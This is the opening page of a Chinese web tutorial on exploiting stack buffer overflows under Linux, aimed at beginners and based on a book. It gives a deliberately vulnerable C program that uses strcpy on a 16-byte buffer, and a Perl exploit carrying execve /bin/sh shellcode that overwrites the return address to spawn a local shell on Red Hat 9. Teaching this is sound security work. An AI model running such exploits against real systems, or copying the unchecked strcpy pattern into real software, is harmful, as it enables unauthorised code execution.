Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Linux下溢出漏洞利用学习

背景:从进入计算机领域已有近八年的时间了,自我感觉在整体轮廓上对各层次都有了一定的了解。但就安全领域来说,却是实实在在的门外汉;然而安全话题却一直引领计算机行业的发展。最近看了不少关于黑客及逆向工程方面的资料,自认有了一定的了解;尤其在学习Xfocus出版的《网络渗透技术》时,发现溢出漏洞的发现和利用原来是这么回事。下面就我所理解的和基于书上所展示的实例,说说Linux环境下的漏洞是怎样的以及是如何利用的。<?xml:namespace prefix = o /> 适宜读者:想了解溢出漏洞的小白;熟悉Linux环境下的C编程,熟悉Gcc与Gdb;熟悉Linux下的AT&T汇编;了解Perl 1. 编程环境<?xml:namespace prefix = v /> 2. 一个溢出漏洞实例3. 溢出是如何发生的4. 如何编写及提取Shellcode5. 怎样利用溢出漏洞 1. 编程环境  我的测试环境是Red Hat 9.0。当然你也可以使用其他的Linux版本,不过在高版本的Linux环境下可能会有防溢出机制(比如说Ubuntu 7.10);尽管说在这种环境下也许有高人可以做到溢出利用,但这已不属于本文章的范畴。如果你是小白,如果你想一次成功,推荐你先在RH9中测试。  在利用漏洞时使用的是perl脚本;这里并不需要你有太深的perl功底,只要能理解这里使用的几条语句就行了。当然,在你的Red Hat上一定要安装gcc、gdb和perl解释器,这些在安装光盘里都可以找到。 2. 一个溢出漏洞实例  为了在直观上对溢出有个清晰的理解,我们先给出一个非常简单的溢出漏洞实例。首先看一个有溢出漏洞的简单程序vulnerable.c:
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buff[16];

    strcpy(buff, argv[1]);
    printf(" %s ", buff);
}
程序中在使用strcpy函数时,因为没有检测字符串的长度而导致当argv[1]串长超过16字节时就会出现缓冲区溢出现象。使用gcc命令将vulnerable.c编译为可执行程序vulnerable,命令为gcc -o vulnerable vulnerable.c,如下图所示: 500)this.width=500;">为了在本地利用该漏洞,我们需要精心构造shellcode,下面是用perl写的利用程序exploit.pl
#!/usr/bin/perl
#
# exploit.pl

$shellcode = 
"x31xd2x52x68x6ex<?xml:namespace prefix = st1 />2fx73x68x68x2fx2fx62x69".
"x89xe3x52x53x89xe1x8dx42x0bxcdx80";
# 这里path需要设为本机环境下vulnerable的路径
$path = "/home/bill/Cracker/vulnerable";

$ret = 0xbffffffc - (length($path)+1) - (length($shellcode)+1);

$new_retword = pack("l",$ret);

printf("[+] Using ret Shellcode 0x%x ", $ret);

%ENV=(); $ENV{CC}=$shellcode;

exec "$path",$new_retword x 8;
其中,上面提到的两个程序附在附件中(这里需要注意的是exploit.pl在创建后需要修改属性才能执行)。上面的shellcode是精心构造过的,在后面的构造shellcode章节将讲述。运行exploit.pl我们将得到一个shellsh-2.05b$): 500)this.width=500;">如果你能得到控制台(sh-2.05b$),就代表你已经攻击成功了。下面我们将详细讲述溢出漏洞相关的内容。
  • 1
  • 2
  • 3
  • 4
  • 下一页
阿根廷黑客盯上中国Windows用户 如想安全改用Linux系统三个细节体现Unix系统安全性相关资讯      Linux漏洞 
  • 敲击28次退格键之后:Linux漏洞可  (12/18/2015 11:22:28)
  • Linux出现重大漏洞 GHOST ?  (01/30/2015 18:35:07)
  • Linux 2.6.31本地代码执行漏洞(  (07/07/2014 07:51:17)
  • Red Hat Linux 修补“libuser”库  (07/26/2015 06:39:34)
  • 红帽反驳:“Grinch(鬼精灵)”算  (12/30/2014 07:38:23)
  • Linux gcc++漏洞:普通用户获得  (08/16/2013 11:57:41)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款